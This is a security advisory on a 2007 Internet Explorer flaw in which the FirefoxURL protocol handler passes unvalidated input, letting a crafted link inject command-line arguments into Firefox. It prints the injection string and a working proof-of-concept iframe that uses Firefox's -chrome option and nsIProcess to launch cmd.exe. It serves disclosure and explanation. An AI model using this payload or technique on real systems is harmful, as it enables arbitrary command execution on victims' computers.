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Internet Explorer Cross Browser Vulnerabilty (FirefoxURL)
------------------------------------------------------------------------
SUMMARY
There is an input validation flaw in Internet Explorer that allows you to
specify arbitrary arguments to the process responsible for handling URL
protocols.
DETAILS
When Firefox is installed it registers a URL protocol handler called
"FirefoxURL". A typical shell open command for this handler is as follows:
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url "%1" -requestPending
When Internet Explorer encounters a reference to content inside the
FirefoxURL URL scheme it calls ShellExecute with the EXE image path and
passes the entire request URI without any input validation. A request such
as the following
FirefoxURL://foo" -argument "my value
will result in the following command line being used to launch Firefox
"C:\PROGRA~1\MOZILL~2\FIREFOX.EXE" -url "firefoxurl://foo" -argument
"my value/" -requestPending
As can be evidenced it is possible to specify arbitrary arguments to the
"firefox.exe" process. This is where the "-chrome" command line argument
comes in handy, as it allows us to specify arbitrary Javascript code which
is then executed within the privileges of trusted Chrome content.
The exploit that Thor Larholm developed for Safari simply opened CMD.EXE
without specifying any arguments, an exercise that was left for the
reader. For this exploit Thor Larholm has chosen to demonstrate how you
can specify process arguments with the nsIProcess interface found in
Mozilla.
The details can be found in the @mozilla.org/process/util;1 component and
the nsiProcess interface. nsIProcess takes 3 arguments:
* Blocking: Whether to wait until the process terminates before returning
or not
* args: An array of arguments to pass to the process
* count: The length of the args array
As with the previous exploit it is necessary to HTML escape any characters
which cannot be used directly inside the URL or the command line, such as
commas and quotes. For demonstration purposes Thor Larholm has chosen to
escape these characters with both HTML entities and dynamic string
construction.
Billy Rios already highlighted a few of the shortcomings with the
FirefoxURL protocol handler in Cross Browser Scripting Demo . The
following proof-of-concept exploit takes this reasoning to its logical
conclusion, namely command execution with arbitrary arguments.
<html><body>
<iframe src= firefoxurl://larholm.com -chrome
javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+
String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+
String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k%20echo%20hello%20from%20larholm.com'],1);
'><
</body></html>
Remember to remove the line breaks if you want the exploit to work, they
are only there for cosmetic reasons. You can also test this exploit at
<http://larholm.com/vuln/firefoxurl.html>
http://larholm.com/vuln/firefoxurl.html.
ADDITIONAL INFORMATION
The information has been provided by Thor Larholm.
The original article can be found at:
<http://larholm.com/2007/07/10/internet-explorer-0day-exploit/>
http://larholm.com/2007/07/10/internet-explorer-0day-exploit/
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